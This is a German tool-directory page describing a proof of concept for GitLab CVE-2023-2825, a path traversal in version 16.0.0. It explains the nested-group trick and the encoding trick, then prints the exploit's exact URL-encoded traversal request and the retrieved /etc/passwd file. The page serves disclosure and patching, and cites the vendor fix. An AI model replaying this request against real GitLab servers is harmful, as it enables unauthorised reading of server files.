Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0. | Kitploit
Tools/GitHubGitHub/occamsec/cve-2023-2825
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0.

Repository anzeigen
14031vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2023-2825 - GitLab CE/EE 16.0.0 Beliebiger Dateizugriff via Pfad-Durchquerung

Am 23. Mai 2023 veröffentlichte GitLab Version 16.0.1, die eine kritische Schwachstelle, CVE-2023-2825, behob, die die Community Edition (CE) und Enterprise Edition (EE) Version 16.0.0 betraf. Die Schwachstelle ermöglicht nicht authentifizierten Benutzern, beliebige Dateien durch einen Pfad-Durchquerungs-Fehler zu lesen. Sie wurde von pwnie auf HackerOne über das Bug-Bounty-Programm entdeckt.

Zum Zeitpunkt der Erstellung dieses Artikels gab es keinen öffentlichen Proof of Concept.

GitLab-Hinweis

Ein nicht authentifizierter böswilliger Benutzer kann eine Pfad-Durchquerungs-Schwachstelle ausnutzen, um beliebige Dateien auf dem Server zu lesen, wenn ein Anhang in einem öffentlichen Projekt vorhanden ist, das in mindestens fünf Gruppen verschachtelt ist. Dies ist ein Problem mit kritischem Schweregrad (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Untergruppen

Diese Schwachstelle hat eine interessante Anforderung: Das Projekt muss in mindestens 5 Gruppen verschachtelt sein. In unseren Tests fanden wir einen direkten Zusammenhang zwischen der Anzahl der Gruppen und den Verzeichnissen, die durchlaufen werden können. Die Regel scheint N + 1 zu sein, d.h. wenn Sie 10 Verzeichnisse durchlaufen möchten, benötigen Sie 11 Gruppen.

Bei einer standardmäßigen GitLab-Installation werden Dateianhänge nach /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file> hochgeladen. Wenn Sie also das Dateisystem-Root erreichen möchten, müssen Sie 10 Verzeichnisse zurückgehen und benötigen daher 11 Gruppen.

Datei-Upload und Pfad-Durchquerung

Wenn Sie eine Datei als Anhang in einem GitLab-Issue hochladen, wird eine Anfrage an POST - /:repo/upload gesendet. Diese gibt eine JSON-Antwort mit der Datei-URL zurück, die Ihnen den Zugriff auf die Datei ermöglicht.

Die Datei-URL setzt sich aus /:repo/uploads/:id/:file zusammen, wobei :file der Dateiname selbst ist. Wenn :file durch einen beliebigen Dateipfad ersetzt wird, gibt GitLab die angeforderte Datei zurück. GitLab bereinigt diesen Dateipfad nicht, was zu einer Pfad-Durchquerung führt.

Um diese Schwachstelle erfolgreich auszunutzen, müssen Sie das / im Dateipfad URL-kodieren. GitLab liest dies als Wert und dekodiert es intern. Wenn Sie es nicht kodieren, interpretiert GitLab das / im Dateipfad als Teil der Route.

In unseren Tests reichte die Kodierung nur des / aus, um Nginx-Pfadfehler zu umgehen.

Authentifizierung

Nicht authentifizierte Benutzer können diese Schwachstelle nur auf öffentlichen Repositories ausnutzen, die die Anforderungen an verschachtelte Gruppen erfüllen. Für den Zugriff auf das Repository selbst ist eine Authentifizierung erforderlich.

Proof of Concept

Wir haben den Proof of Concept in Python entwickelt. Er erstellt die 11 Gruppen, erstellt ein öffentliches Repository, lädt eine Datei hoch und nutzt dann die Schwachstelle aus, um die Datei /etc/passwd zu erhalten.

Ausgabe

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Empfohlene Maßnahmen

GitLab empfiehlt, alle von diesem Problem betroffenen Versionen so schnell wie möglich zu aktualisieren.

Referenzen

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

Tool herunterladen